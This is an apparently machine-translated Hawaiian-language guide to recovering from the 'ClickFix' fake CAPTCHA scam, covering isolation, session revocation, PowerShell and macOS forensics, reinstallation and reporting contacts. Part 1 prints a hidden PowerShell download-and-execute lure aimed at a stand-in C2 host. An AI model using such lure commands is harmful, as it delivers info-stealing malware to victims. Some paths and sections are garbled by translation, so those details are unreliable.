ʻO ka 'ClickFix' Fake CAPTCHA Scam: No ke aha ke kaomi ʻana iā Win+R a me Ctrl+V e holo ana i ka Info-Stealer Malware¶

Inā ʻoe i kaomi wale i kahi pihi "ʻAʻole wau he robot" a i ʻole "E hōʻoia he kanaka ʻoe" ma kahi pūnaewele (a i ʻole i ʻike i kahi Cloudflare Turnstile, Google Meet, Zoom, a i ʻole nā ​​polokalamu hōʻano hou o ka polokalamu kele pūnaewele) i aʻo iā ʻoe e kaomi Windows + R (a wehe paha macOS Terminal), kaomi Ctrl + V (Cmd + V), a paʻi Enter, ua hoʻokō wale kāu kamepiula i kahi uku hoʻoili kino kino - ʻo ka mea maʻamau ka Lumma Stealer, Vidar, StealC, RedLine, a i ʻole Atomic macOS Stealer (AMOS) mea ʻaihue ʻike. ʻAʻole pono ʻo CAPTCHA, Cloudflare check, a i ʻole mea hana wikiō ma ka Honua e noi i ke kanaka e wehe i ke kamaʻilio Windows Run (Win + R), Windows Terminal, Command Prompt, a i ʻole macOS Terminal a hoʻopili i kahi kauoha. I kou kaomi ʻana i ka pahu hōʻoia "E hōʻoia" hoʻopunipuni ma kēlā ʻaoʻao pūnaewele, ua hewa JavaScript (navigator.clipboard.writeText()) ua kope malu i kahi PowerShell huna, mshta.exe, rundll32, a i ʻole curl | bash kauoha ma kāu papaʻili. Iloko o 3 a 6 kekona o ke kaomi ana Enter, ua hoʻoiho kēlā palapala i kahi mea hoʻohana i loko o ka hoʻomanaʻo i hoʻokaʻawale a hoʻopau i kēlā me kēia ʻōlelo huna i mālama ʻia, kāleka hōʻaiʻē autofill, cryptocurrency browser extension vault (MetaMask, Phantom, Rabby), hōʻailona Discord/Telegram, a me ka ** session cookie ** mai Chrome, Edge, Brave, a me Firefox - e ʻae ana i ka poʻe hoʻouka kaua e kāʻili i kāu Gmail, Microsoft 365, panakō, a me nā moʻokāki hui me ka ʻole o kāu ʻōlelo huna a i ʻole Two-Factor Authentication (2FA). No ka hoʻoponopono hohonu ʻana i nā kau polokalamu hijacked, e kūkākūkā pū ka hoʻopaʻa ʻana i nā kuki session, infostealer malware, a me ka hoʻopau ʻana i ka passkey; inā ʻike mua ʻoe i ke neʻe ʻana o ke kālā mai kahi ʻeke mālama ponoʻī, lele koke i cryptocurrency wallet drain a me ka hua'ōlelo hua'ōlelo hoʻololi; a i ʻole inā kamaʻilio kahi scammer iā ʻoe e hoʻokomo iā AnyDesk a i ʻole ScreenConnect, ʻike kākoʻo ʻenehana i ka scam pop-up a me ka wehe ʻana i ka papapihi mamao. Inā loaʻa kēia maʻi ma kahi keʻena hana o ka haukapila, ʻoihana aupuni, a i ʻole ke komo ʻana i ka hoʻopio palekana ola, e kelepona i kāu helu ulia pōpilikia kūloko (911 ma ʻAmelika Hui Pū ʻIa a me Kanada, 112 ma waena o ka European Union, 999 ma United Kingdom) a i ʻole e nānā i kā mākou papa kuhikuhi o helu pilikia.

E hana i kēia i kēia manawa¶

1. E wehe i kāu kelepona Ethernet a i ʻole e hoʻopau i ka Wi-Fi ma ka lolouila maʻi i loko o 5 kekona: ʻO nā mea ʻaihue ʻike e like me Lumma Stealer hoʻopili i kāu pūnaewele SQLite ʻikepili (Login Data, Cookies, Network/Cookies, Web Data) i loko o a .zip waihona i loko %TEMP% a hoʻouka iā ia i kahi Kauoha-a-Mana (C2) server, a laila hoʻonohonoho pinepine i kahi Trojan Access Remote lua (RAT), SOCKS5 noho koho, a i ʻole ransomware loader. ʻO ka hoʻokaʻawale ʻana i ka pilina pūnaewele e hoʻopau i nā ukana lua a me ke kahe ʻana o ka pale / kī kī koke.
2. Mai hoʻohana i ka lolouila maʻi no ka hoʻololi ʻana i kāu mau ʻōlelo huna - e kiʻi i kahi atamai maʻemaʻe (ma ka ʻikepili kelepona) a i ʻole ka lolouila ʻaʻole i maʻi ʻia i kēia manawa: Inā he keylogger hoʻomau, hoʻopaʻa pahu pahu, a i ʻole HVNC Ke holo nei ka module (Hidden Virtual Network Computing) i ka RAM ma ka PC i maʻi ʻia, e kākau ana i kāu mau ʻōlelo huna hou ma kēlā PC e hāʻawi pololei i nā hōʻoia hou i ka mea hoʻouka.
3. Mai kāu kelepona maʻemaʻe, kaomi "E haʻalele i nā polokalamu āpau / Hoʻopau i nā kau hana āpau" ma kāu leka uila mua (Gmail / Microsoft 365 / Yahoo), luna huna huna, a me SSO hana (Okta / Entra ID) MUA:
4. No ke aha ʻaʻole lawa ka hoʻololi wale ʻana i kāu ʻōlelo huna: ʻaihue ka poʻe ʻaihue ʻike i kāu mau kuki manawa hōʻoia ikaika (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Ma nā kahua he nui, hoʻopaʻa ʻia kahi kuki hālāwai i lawe ʻia aku no nā lā a i ʻole he pule ke ʻole ʻoe e kaomi pono iā E haʻalele i nā kau āpau / Hoʻopau i nā hōʻailona A hoʻololi i kāu ʻōlelo huna.
5. Google / Gmail: E kipa myaccount.google.com/device-activity -> koho i kēlā me kēia kau papapihi -> kaomi Sign out, a laila hoʻololi i kāu ʻōlelo huna Google a nānā Settings -> Forwarding and POP/IMAP no nā lula hoʻouna hāmau.
6. Microsoft / Outlook / Entra ID: E kipa mysignins.microsoft.com/security-info -> kaomi Sign out ma nā wahi a pau, a laila hoʻonohonoho hou i kāu ʻōlelo huna.
7. Inā loaʻa iā ʻoe kahi hoʻonui ʻeke kālā cryptocurrency (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) ma kēlā kamepiula, e hoʻokuʻu i nā kālā a pau i kahi huaʻōlelo huaʻano hou ma kahi mea maʻemaʻe koke:
8. Lumma Stealer a AMOS kope i ka mea i hoʻopili ʻia Local Extension Settings Nā waihona waihona IndexedDB/LevelDB mai Chrome/Brave/Edge pololei i ke kikowaena o ka mea hoʻouka, kahi e hoʻomāʻewaʻewa ʻia ai nā pūʻulu GPU i kāu hoʻonui kūloko i ka wehe ʻana i ka ʻōlelo huna ma waho (a heluhelu pololei i ka huaʻōlelo hua mai RAM inā wehe ʻia). E noʻonoʻo i kēlā me kēia huaʻōlelo huaʻōlelo a me nā kī pilikino i mālama ʻia ma kēlā PC he 100 pākēneka i hoʻohālikelike ʻia.
9. ** Ma mua o ka holoi ʻana i ka PC, mālama i ke kauoha pololei āu i hoʻopili ai i ʻike ʻoe i ka mea i hana ʻia**:
10. Ma Windows, e wehe i ka Notepad (ʻoiai ke hoʻopahemo nei) a kaomi Ctrl + V e hoʻopili i nā mea a pau e noho ana ma kāu papa paʻi, a paʻi paha Windows + R a kaomi i ka pua hāʻule i lalo e heluhelu i ka mea i hoʻohana hou ʻia (MRU) Holo i ka mōʻaukala i mālama ʻia i loko HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. E paʻi i ke kiʻi o kēlā kauoha me kāu kelepona no ka pane ʻana i nā hanana.
11. E hana i kahi ʻōnaehana hana USB maʻemaʻe e hoʻouka hou (a i ʻole ka holoi ʻana i ka forensic offline piha) ma mua o ka hilinaʻi ʻana i kahi scan antivirus wikiwiki: ClickFix Hoʻohana nā uku uku i nā binaries Windows i kau inoa ʻia (Living-off-the-Land Binaries a i ʻole LOLBins like mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, a AutoIt3.exe) e hoʻokomo i loko o nā kaʻina hana pono (explorer.exe, svchost.exe) a hoʻohui pinepine i nā hoʻokuʻu ʻana iā Windows Defender (Add-MpPreference -ExclusionPath).

ʻO ka lāʻau hoʻoholo: hoʻopaʻa koke a hoʻihoʻi hou ma hope o kahi ClickFix Win+R a i ʻole ka pauku Terminal¶

E hahai i kēia kumu hoʻoholo i ka manawa āu e ʻike ai ua hoʻopili ʻoe i kahi kauoha i loko Win + R, Windows Terminal, a i ʻole macOS Terminal:

flowchart TD
    Start["Hoʻopili ʻia ka CAPTCHA hoʻopunipuni / Hoʻoponopono Hapa i loko o Win + R, PowerShell, a i ʻole macOS Terminal"] --> Disconnect["KANAWAI 1 (0 a 10 kekona): Wehe i ka Ethernet a hoʻopau koke i ka Wi-Fi ma ka kamepiula i maʻi ʻia."]

    Disconnect --> CryptoCheck{"Ua loaʻa anei i kēia kamepiula kekahi mau ʻeke Crypto (MetaMask, Phantom, Exodus, Ledger Live, Saved Keys)?"}

    CryptoCheck -->|"ʻAe"| EvacCrypto["KANAWAI 2 (URGENT): Ma ke kelepona maʻemaʻe/ʻeke paʻa paʻa, hana i kahi huaʻōlelo huaʻano hou a hoʻololi koke i nā waiwai āpau."]
    CryptoCheck -->|"ʻAʻole"| CleanDevice["KANAWAI 2: E hoʻololi i ke kelepona maʻemaʻe (Cellular Data) a i ʻole Mea Hana ʻole"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["KANAWAI 3: Hoʻopau i nā ʻaoʻao ʻaoʻao kikowaena & hoʻololi i nā huaʻōlelo ma ke kauoha koʻikoʻi."]

    RevokeSessions --> P1["1. Ka leka uila mua (Gmail / M365 / Proton): E pepehi i nā mea hana a pau, e hoʻihoʻi i ka ʻōlelo huna, e nānā i nā lula no ka hoʻouna ʻana."]
    P1 --> P2["2. SSO Hana / Hui (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): E hoʻomaopopo koke i ka SOC ʻoihana inā i hoʻopaʻa ʻia nā moʻokāki hana."]
    P2 --> P3["3. Waiwai, Panakō, PayPal, Stripe, Amazon, Steam, Discord, a me Social Media Accounts"]

    P3 --> InspectPayload["KANAWAI 4 (Offline ma ka PC ma'i): E nānā i ka RunMRU Registry & PowerShell Operational Event ID 4104 e ʻike ai i ka uku uku."]

    InspectPayload --> WipeChoice{"ʻO kēia kahi hopena hui a i ʻole kamepiula pilikino?"}
    WipeChoice -->|"Hui / BYOD me ka Hana Hana"| CorpIR["ʻO ka mīkini lima i waho i ka IT Security / SOC no EDR Forensic Triage a me BitLocker Re-Kiʻi"]
    WipeChoice -->|"Windows / Mac pilikino"| CleanInstall["E hoʻihoʻi i nā palapala maʻemaʻe wale nō (ʻaʻohe .exe/.bat/.dmg) -> Boot Clean USB -> Holoi i nā ʻāpana a hoʻokomo hou i ka OS"]

Māhele 1: Anatomy o ka hoʻouka kaua "ClickFix" - Pehea e kāʻili ai kahi ʻaoʻao pūnaewele Win + R¶

ʻO ka hoʻomaopopo ʻana i ka mea i hana ʻia i loko o kāu ʻōnaehana hana i kēlā mau kekona 5 e wehewehe i ke kumu e pilikia koke ai kekahi mau faila a me nā moʻolelo ʻoiai ʻaʻole ʻē aʻe.

1. ʻO nā lures ʻenehana pilikanaka 3 i hoʻohana ʻia i nā hoʻolaha ClickFix¶

Hāʻawi ka poʻe Attackers i ka ClickFix overlays ma waena o ka malvertising (nā hualoaʻa i kākoʻo ʻia), nā pūnaewele WordPress i hoʻopaʻa ʻia, nā polokalamu pirated/streaming portals, nā waihona GitHub hoʻopunipuni, a me nā leka uila phishing: 1. Ka Puke Cloudflare / Google reCAPTCHA ("E hōʻoia he kanaka ʻoe"): Kaomi ʻoe i ka pahu koho "ʻAʻole wau he robot". Ma kahi o kahi māka ʻōmaʻomaʻo, ʻike ʻia kahi popup e heluhelu ana: "Ua ʻike ʻia nā kaʻa like ʻole. No ka hōʻoia he kanaka ʻoe, e hoʻopau i kēia mau ʻanuʻu 3: Windows + R ma kāu papa keyboard. 2. Paʻi Ctrl + V. 3. Paʻi Enter." 2. ** ʻO ka Fake Chrome / Edge Font or Update Error ("Ua hewa kekahi mea i ka hōʻike ʻana i kēia ʻaoʻao pūnaewele")**: Ua uhi ʻia kahi ʻaoʻao polū i ka pūnaewele me kahi kamaʻilio Chrome manaʻo e koi ana i kahi palapala kumu i nalowale a i ʻole ka hoʻoponopono font e pono ai ʻoe e wehe i Windows PowerShell / Terminal a hoʻopili i ka "script fix official." 3. ** ʻO ka Zoom Hoʻopunipuni / Google Meet / Microsoft Teams Microphone a i ʻole ka hala kāmela **: Hoʻouna ʻia ma o nā kono ninaninau hana hoʻopunipuni a i ʻole nā loulou hui o nā mea kūʻai aku, hōʻike ʻaoʻao kahi aniani wikiō wili a koi aku i ka macOS a me nā mea hoʻohana Windows e wehe i Terminal a hoʻopili i kahi kauoha "driver reset".

2. No ke aha i nānā ʻole ai ke kauoha i ka Win + R pahu¶

ʻO ka Windows + R (Run) ʻo ka pahu kamaʻilio he 259 mau huaʻōlelo ākea me ka ʻike maka (MAX_PATH kahua hoʻokomo UI), a hōʻike wale i ka hope o kahi kaula i hoʻopili ʻia ma hope o ka lele ʻana o kāu cursor i ka ʻākau. Hoʻohana ka poʻe hoʻouka i kēia ʻoki ʻike ma ka hoʻopili ʻana i kā lākou kauoha ʻino me nā hakahaka a i ʻole e hoʻopau iā ia me kahi ʻōlelo hoʻopunipuni:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Pehea la Lumma Stealer, StealC, a AMOS ʻaihue i loko o 4 kekona¶

Māhele 2: Laka moʻokāki a me ka hoʻopau ʻana i ke kau (mau minuke 1 a i 30 - ma kahi hāmeʻa maʻemaʻe)¶

ʻOiai e hoʻokaʻawale loa ʻia ka PC maʻi mai ka pūnaewele, e hoʻohana i ** kelepona maʻemaʻe a i ʻole kamepiula lua ** e hoʻokō i kēia kaʻina hoʻopaʻa pono.

KaʻAnuʻu Hana 1: laka iho i kāu leka uila (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

No kēlā mooolelo leka uila i komo i loko o kekahi moʻolelo polokalamu kele pūnaewele (Default, Profile 1, Work) ma kēlā kamepiula: 1. Hoʻopau i nā kau mea hana a pau: - Google / Gmail: E hele i myaccount.google.com/device-activity -> koho i ka polokalamu Windows/Mac i maʻi ʻia (a me nā kau kamaʻāina ʻole) -> kaomi Sign out. Also kipa myaccount.google.com/connections a hoʻopau i nā polokalamu OAuth ʻaoʻao ʻekolu kānalua. - Microsoft (Personal & Work M365): E hele i account.live.com/proofs/Manage (pilikino) a i ʻole mysignins.microsoft.com/security-info (hana) -> kaomi Sign out ma nā wahi a pau. 2. Hoʻololi i ka ʻōlelo huna leka uila i kahi ʻōlelo huna hou a kū hoʻokahi i mālama ʻia ma kāu hāmeʻa maʻemaʻe wale nō. 3. Hoʻoponopono i nā lula, nā kānana, a me ka hoʻouna ʻana i ka pahu komo koke: Hoʻohana ka poʻe ʻaihue ʻike i nā palapala automated e komo i loko o nā kuki Gmail/Outlook i ʻaihue ʻia i loko o nā minuke o ka maʻi a hana i kahi kānana huna: Inā loaʻa i ka memo "Security", "Code", "Coinbase", "Binance", "Bank", a i ʻole "Steam" -> Mark as Read, Forward to attacker, Move to Trash/RSS Feeds. - Ma Gmail: E wehe i kahi nānā papapihi -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses A ME Forwarding and POP/IMAP. Holoi koke i kahi kānana ʻike ʻole a i ʻole ka helu hoʻouna. - Ma Outlook / M365: Wehe Settings -> Mail -> Rules A ME Mail -> Forwarding A ME Mail -> Junk email (E nānā i nā mea hoʻouna i pāpā ʻia e hōʻoia ʻaʻole i pāpā ka mea hoʻouka no-reply@accounts.google.com a i ʻole kāu panakō).

KaʻAnuʻu Hana 2: Laka i lalo 'ōlelo huna Manakia (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Ua mālama anei ʻoe i kāu mau ʻōlelo huna i loko o Chrome / Edge / Brave's built-in Password Manager? ** ʻO kēlā me kēia ʻōlelo huna i mālama ʻia ma Chrome, Edge, Brave, Opera, a i ʻole Firefox (koe naʻe ʻaʻole i loaʻa iā Firefox kahi ʻōlelo huna maʻamau i hoʻonohonoho ʻia) i hoʻoiho ʻia e ka mea ʻaihue ʻike ma ke kikokikona.
• ** Ua hoʻohana anei ʻoe i kahi Manaʻo ʻōlelo huna (1Password, Bitwarden, Proton Pass, Keeper)?**
• Inā **paʻa ka waihona i ka manawa āu i holo ai i ke kauoha, mālama ʻia kāu waihona i hoʻopili ʻia e kāu Master Password / Secret Key.
• Inā wehe ʻia ka hoʻonui ʻia ma ka hoʻomanaʻo (a i ʻole ʻoe i kākau i kāu ʻōlelo huna ma hope o ka holo ʻana i ke kauoha), e komo i loko o ka waihona huna huna pūnaewele mai kāu kelepona maʻemaʻe, kaomi ** Hoʻopau i nā kau āpau ** (Bitwarden: Settings -> My Account -> Deauthorize Sessions), e hoʻololi i kāu ʻōlelo huna, a e hoʻokaʻawale i nā hōʻoia waiwai nui i loko o ka waihona.

KaʻAnuʻu Hana 3: Hoʻopau i ka mea hoʻomohala, hui, a me nā hōʻailona kamaʻilio (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Ke hoʻololi nei i kāu ʻōlelo huna Discord ** hoʻopau ʻakomi i kāu hōʻailona hōʻoia kahiko** (leveldb hōʻailona). E hoʻololi koke i kāu ʻōlelo huna Discord mai kāu kelepona, e nānā Settings -> Devices -> **E haʻalele i nā mea ʻike āpau **, a nānā Settings -> Authorized Apps a Settings -> Billing (e wehe i nā kāleka hōʻaiʻē i mālama ʻia/PayPal).
• Telegram: Ma kāu kelepona, wehe Telegram -> Settings -> Devices -> paʻi **Hoʻopau i nā Kau ʻē aʻe a pau ** koke (pepehi kēia i nā mea ʻaihue tdata clone waihona papapihi).
• Steam: Ma kāu kelepona, wehe i ka polokalamu Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, e hoʻololi i kāu ʻōlelo huna, a e nānā ʻaʻole i hoʻopaʻa inoa ʻia ʻo API Key ma steamcommunity.com/dev/apikey (Hoʻopaʻa inoa ka poʻe scammers i kahi kī ʻo Steam Web API no ka hao ʻana i nā makana kālepa).
• **GitHub / GitLab / AWS / SSH **: Inā he ʻenekini polokalamu ʻoe a i ʻole sysadmin, e kipa github.com/settings/sessions (hoʻopau i nā kau polokalamu kele pūnaewele), github.com/settings/keys (Hoʻopau i nā kī SSH i mālama ʻia ma kēlā PC), github.com/settings/tokens (Hoʻopau i nā Token Access Personal), a hoʻololi i kekahi -/.aws/credentials Nā kī IAM i ka console AWS IAM koke. E ʻike i kā mākou alakaʻi hoʻolaʻa ma hoʻolako kaulahao npm/PyPI compromise a me ka mea hoʻomohala hana hoʻololi kī kī.

Māhele 3: Nānā Forensic Offline - E ʻike pono i ka mea i holo ma kāu PC¶

Ma mua o kou holoi ʻana a hoʻokomo hou i ka kamepiula i maʻi ʻia (a i ka wā e hoʻomākaukau ana i kahi hōʻike no kāu hui palekana ʻoihana), hiki iā ʻoe ke nānā pono i ka mea ClickFix kauoha ** ʻoiai e mālama ana i ka mīkini 100% offline (wi-Fi pio, Ethernet unplugged)**.

1. Nānā Windows Win + R Moʻolelo a me PowerShell Logs¶

1. E nānā i ka Windows Run (Win + R) Kakau MRU (Most Recently Used) papa inoa: Wehe regedit.exe a i ʻole he puka makani PowerShell offline a holo:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   ʻO kēlā me kēia kauoha i paʻi ʻia a paʻi ʻia i loko Win + R mālama ʻia ma lalo o nā waiwai a, b, c, etc. E nana i ke kauoha i kakauia ma ka leka i hoike mua ia ma MRUList.
2. E nānā i ka PowerShell Script Block Logging Event Log (Event ID 4104): ʻOiai inā hoʻohana ka mea hoʻouka -WindowStyle Hidden (-w h) a me ka hoʻopili ʻana o Base64 (-EncodedCommand / -e), wehe 'akomi a hoʻopaʻa inoa ʻo Windows i nā palapala PowerShell kānalua i Event Viewer:
3. Paʻi Win + X -> Nānā hanana -> hoʻokele i Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Kānana no ka hanana ID 4104 (Execute a Remote Command). E ʻike ʻoe i ka palapala PowerShell deobfuscated pololei, ka URL i hoʻoiho ʻia mai, a me ka waihona i loko %TEMP%, %AppData%, a i ʻole %LocalAppData% kahi i hoʻokuʻu ai i kāna ukana lua.
5. E nānā i kahi i hoʻokomo ʻia ai ka hoʻomau ma Windows: ʻO nā mea ʻaihue ʻike a me kā lākou mau palapala hoʻoili (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) hoʻokumu i ke ola hou i nā wahi ʻehā:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Inā ʻike ʻoe C:\, C:\Users, %AppData%, a i ʻole .exe hoʻohui ʻia ma lalo ExclusionPath a i ʻole ExclusionProcess, ua hoʻopololei ka polokalamu kino iā Microsoft Defender ma kāu mīkini.)

2. Ke nānā ʻana i ka macOS ma hope o kahi Terminal ClickFix (Atomic macOS Stealer / AMOS a i ʻole Poseidon)¶

Ma macOS, ʻōlelo nā ʻaoʻao ClickFix i ka mea hoʻohana e wehe i ka Terminal (Cmd + Space -> Terminal) a hoʻopili i kahi kauoha base64-encoded like echo "..." | base64 -d | bash. 1. ʻOiai ma waho, e nānā i kāu mōʻaukala pūpū (cat -/.zsh_history | tail -n 30 a i ʻole cat -/.bash_history). 2. E nānā inā ua hoʻokomo ka polokalamu ʻino i kahi kāʻei hoʻomau LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Māhele 4: Hoʻomaʻemaʻe Hoʻomaʻemaʻe - No ke aha ʻoe e holoi ai a hoʻokomo hou (a i ʻole e holo i ka hoʻopakele pūnaewele)¶

Nā keʻena palekana (CISA, FBI, NCSC) ke aʻo ikaika nei ** holoi a hoʻokomo hou i ka ʻōnaehana hana mai kahi pahu USB maʻemaʻe** ma hope o ka ʻaihue ʻike a i ʻole LOLBin hoʻokō, no ka mea, hoʻokomo pinepine nā mea hoʻouka i ka shellcode i loko o nā binaries pūnaewele kūpono, hoʻokomo i nā mea hoʻokele rootkit/proxy, a i ʻole waiho i nā puka moe (NetSupport RAT / Cobalt Strike).

Kaʻanuʻu-ma-kaʻanuʻu Clean Reinstallation & Safe File Backup¶

1. ** ʻOiai ʻo ka PC i maʻi ʻia ma waho, e hoʻihoʻi i nā faila ʻikepili maʻemaʻe WALE **: E kope wale i nā palapala pilikino, nā kiʻi, nā pāpalapala, a me ka code kumu (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) ma kahi kaʻa USB waho. Mai hoʻi hope .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, a polokalamu kele pūnaewele User Data waihona waihona.
2. **Ma kahi kamepiula ʻelua, maʻemaʻe **, hana i kahi bootable Windows 11 Media Creation USB (microsoft.com/software-download/windows11) a i ʻole macOS Recovery environment.
3. Boot mai ka mea hoʻokomo USB maʻemaʻe, holoi i nā ʻāpana āpau i loaʻa ma ka boot SSD (no laila ua hana hou ʻia ka EFI System Partition, MSR, a me ka partition OS mua), a hoʻokomo i kahi kope maʻemaʻe o ka ʻōnaehana hana.
4. Inā ʻaʻole hiki iā ʻoe ke holoi koke i ka mīkini:
5. Wehe i nā mea pale a pau (Remove-MpPreference -ExclusionPath ...).
6. E hoʻomaka i ka ** Windows Safe Mode me Networking disabled** (a i ʻole boot mai kahi Kaspersky Rescue Disk / ESET SysRescue Live USB), a holo i nā scan offline piha me ka hoʻohana ʻana iā Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, a me ESET Online Scanner, me ka nānā ʻana i kēlā me kēia komo ʻana ma Sysinternals Autoruns (autoruns64.exe) me Hūnā Microsoft Entries me ka nānā ʻole ʻia.

Māhele 5: Hoʻoikaika i ka Windows a me ka macOS no laila ʻaʻole hiki ke hana hou ʻo ClickFix¶

• Hūnā a hoʻopau paha i ka Windows + R (Run) kūkākūkā no nā lālā ʻohana ʻenehana a i ʻole nā ​​mea hoʻohana maʻamau ma o Group Policy / Registry: Hoʻonohonoho NoRun = 1 (DWORD) ma lalo HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer hoopau loa i ka Windows + R pōkole kī. No ka mea, ʻo 95 ka nui o ka hoʻouka ʻana o ClickFix e hilinaʻi nei i ka mea hoʻohana Win + R, ho'opau i ke kama'ilio Run e ho'opau i ka ho'ouka kaua ma mua o ka ho'opili 'ana i kekahi mea.
• E hoʻololi i ka hui waihona paʻamau no .hta, .vbs, .js, a .wsf palapala i notepad.exe: hoʻopale mshta.exe a wscript.exe ma o Windows Attack Surface Reduction (ASR) lula a hui .hta/.vbs/.js me ka Notepad e pale i ka hoʻokō ʻana i ka palapala.
• ** Hoʻomaikaʻi i nā moʻokāki koʻikoʻi i nā Paʻi Paʻa Paʻa Paʻa (FIDO2 / WebAuthn Nā kī palekana e like me YubiKey)**: ʻOiai hiki i ka poʻe ʻaihue ʻike ke ʻaihue i nā kuki manawa mai kahi polokalamu kele pūnaewele ma hope o ke komo ʻana, nā kī palekana hardware (FIDO2) me nā manawa pōkole pōkole a me ka Hoʻomau Hoʻokomo Hoʻohālikelike (CAE / Nā Palapala Hōʻoiaʻiʻo o ke Kau Hana Paʻa DBSC) pale i nā mea hoʻouka mai ka hōʻoia hou ʻana a i ʻole ka hoʻokuʻu ʻana i nā hōʻoia kumu.
• E hoʻouka i kahi hoʻolaha polokalamu kele pūnaewele a me ka mea hoʻopalekana malvertising (uBlock Origin / uBlock Origin Lite) a hiki iā Enhanced Safe Browsing: Ma luna o 60 ka nui o nā maʻi ClickFix i loaʻa mai nā hoʻolaha hulina Google/Bing maikaʻi ʻole e hoʻohālikelike ana i nā polokalamu pono (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) a i ʻole nā pūnaewele hoʻoheheʻe.

Nā helu ulia pōpilikia āpana a me nā protocols oihana¶

Inā he ClickFix / Lumma Stealer ʻO nā palapala hōʻoia ʻoihana i hoʻopilikia ʻia e ka maʻi, nā ʻōnaehana mālama ola, nā moʻohelu kālā, a i ʻole nā pūnaewele aupuni, e hōʻike koke i ka hanana ma o nā ala kūhelu:

• ** ʻAmelika Hui Pū ʻIa a me Kanada**:
• Hoʻolāʻau Ola-Palekana / Mea Hana Koʻikoʻi: Kāhea 911 inā hoʻopilikia kekahi maʻi i nā ʻōnaehana o ka haukapila a i ʻole nā ​​hana palekana lehulehu.
• FBI Internet Crime Complaint Center (IC3) (US): Waiho i kahi hōʻike koke ma ic3.gov (ʻoi loa inā loaʻa ke kālā crypto, nā uea panakō, a i ʻole ʻoihana ʻoihana Email Compromise ma muli o nā kuki i ʻaihue ʻia).
• ** Keʻena palekana Cyber a me Infrastructure Security Agency (CISA) (US)**: Pono nā hui ʻoihana a me nā ʻoihana koʻikoʻi e hōʻike i ka haki ʻana o ka infostealer iā 1-844-Say-CISA (1-844-729-2472) aiʻole cisa.gov/report.
• Canadian Anti-Fraud Center (CAFC) a me Cyber Center: Kāhea 1-888-495-8501 aiʻole hōʻike ma cyber.gc.ca.
• United Kingdom:
• Nā Hana Kūikawā: Kāhea 999 (a i ʻole 101 no ka makai pilikia ole).
• Action Fraud & NCSC: Hōʻike i ka cybercrime a me nā kālā ʻaihue iā Action Fraud (0300 123 2040 / actionfraud.police.uk). Inā hoʻopau ʻia ka ʻikepili o ka mea kūʻai aku a i ʻole nā ​​hōʻoiaʻiʻo, e nānā pono 72-hola UK GDPR hoʻolaha i ka ICO (0303 123 1113).
• Uni ʻEulopa:
• Nā Hana Kūikawā: Kāhea 112 ma nā mokuʻāina lālā a pau o EU.
• **Pauku GDPR 33 & NIS2 CSIRT Hōʻike : No ka mea Lumma Stealer exfiltrates nā polokalamu kele pūnaewele a pau Login Data, Cookies, a me ka hoʻopiha piha ʻana i nā huna huna, ʻo kēlā me kēia kamepiula kamepiula i hoʻopaʻa ʻia i ka ʻikepili pilikino o ka limahana a i ʻole ka mea kūʻai aku he ** i hōʻoia ʻia i ka hōʻino ʻana i ka ʻikepili huna, e koi ana i ka loiloi no 72-hola hoʻolaha i kāu National Data Protection Authority (DPA).
• Australia a me New Zealand:
• Nā Hana Kūikawā: Kāhea 000 ma Australia a i ʻole 111 ma Aotearoa.
• ** Ke kikowaena Cyber ​​Security o Australia (ACSC / ReportCyber)**: Kāhea 1300 CYBER1 (1300 292 371) a i ʻole faila ma cyber.gov.au (a hoʻokaʻaʻike iā IDCARE ma 1800 595 160 no ka hoʻihoʻi ʻana i ka ʻike). Ma New Zealand, hōʻike iā CERT NZ (0800 237 869).
• India a me Asia-Pākīpika:
• Laina Kokua & CERT-In: Kāhea 1930 inā loaʻa ka hoʻopunipuni kālā, e waiho ma cybercrime.gov.in, a hōʻike i nā uhaki hui iā CERT-In (incident@cert-in.org.in) i loko o 6 hola.

Nīnau pinepine¶

Ua wehe au Win + R a kaomi Ctrl + V, no laila ua ʻike ʻia ka kikokikona i loko o ka pahu, akā ua ʻike wau he mea malu ia a kaomi iā "Cancel" me ke kaomi ʻole. Enter. Ua ma'i au?¶

